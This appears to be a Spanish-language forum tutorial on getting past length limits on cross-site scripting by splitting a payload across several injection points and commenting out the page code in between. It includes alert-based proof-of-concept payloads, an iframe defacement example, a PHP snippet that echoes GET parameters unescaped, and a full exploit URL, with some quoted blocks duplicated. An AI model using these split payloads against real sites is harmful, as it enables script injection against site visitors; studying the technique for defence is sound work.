Supongamos que existe un xss difícil de explotar debido a las siguientes limitación en el número de bytes;
Del lado del cliente el input está limitado mediante max-lenght, en el script del servidor se hace una comprobación sobre la longitud de la variable antes de salvar el dato, incluso en la estructura de la tabla (en la DB) está indicado que ese campo no puede tener más de N bytes.
Ahora, Algo fundamental para esta técnica es que el xss posea la siguiente propiedad:
Es necesario que Que podamos postear en varias partes del documento, esto es:
1) Ya sea mediante varias inyecciones
2) o una misma que pueda postearse varias veces.
el objetivo será siempre unir código para darle sentido al mismo.
Bien, si conseguimos postear en varias partes del documento las limitaciones de longitud no serán un problema muy grave, debido a que entre linea y linea podemos hacer comentarios de bloque para omitir el código original de la página, dependiendo si lo que deseamos es inyectar Jacascript o HTML los siguientes dos ejemplos nos podrían guiar en el ataque
javascript:
Citar
<script>
alert(1);/*
basura.....<h1>eaea</h1></body>
*/
alert(2);</script>
alert(1);/*
basura.....<h1>eaea</h1></body>
*/
alert(2);</script>
HTML:
Citar
<iframe width=100% src="http://hakim.ws/">
<!--
basura.....<h1>eaea</h1></body>
-->
</iframe><h1>you were p0wned<!--
fddgdfgdfgdf
-->
<!--
basura.....<h1>eaea</h1></body>
-->
</iframe><h1>you were p0wned<!--
fddgdfgdfgdf
-->
así, podemos ver que no importa mucho lo que haya en los comentarios, lo cual, podemos ocuparlo a nuestro favor.
Imaginemos que se encuentran con la primer situación: hallamos dos variables vulnerables a xss, pongámosle nombre y apellido, digamos title y search, ocupadas por el archivo index.php, estas son pasadas por método GET y en este caso NO es un xss persistente. lo que podemos hacer es dividir nuestra inyección de modo que en la primera que aparezca (ejemplo title) pongamos una parte da la inyección y en la siguiente (search) la continuación. algo como
Citar
<...>
<title>
<?
echo $_GET['title'];
?>
</title>
<..>
<?
if($result==false)
echo "the word ".$_GET['search']." wasn't found as a valid register";
?>
así que la inyección quedaría algo como index.php?title=<script>alert(1);/*&search=*/alert(2);</script> lo cual le dice al navegador que omita todo el código hasta que nuestro script continue <title>
<?
echo $_GET['title'];
?>
</title>
<..>
<?
if($result==false)
echo "the word ".$_GET['search']." wasn't found as a valid register";
?>
Si en otra instancia nos encontramos con la segunda situación planteada, suponiendo que estamos dentro de un foro y encontramos un xss persistente en el título de los mensajes, de modo que este campo esta limitado a n bytes, lo que podríamos hacer es fragmentar nuestro script y dejar dos mensajes en lugar de uno, lo cual se vería como se sigue:
Citar
inyección No. 1:
<script>alert(1);/*
inyección No. 2:
*/alert(2);</script>
<script>alert(1);/*
inyección No. 2:
*/alert(2);</script>
De modo que no importará lo que haya entre el título 1 y el título 2, y nuestra inyección tendrá sentido
como nota final cabe mencionar que en un foro real tendríamos que postear primero la inyección 2 y luego la inyección 1 pues comunmente los mensajes se ordenan por fecha de insersión o modificado.
Espero haber sido claro, cualquier duda pues estamos a sus servicios.
un saludo!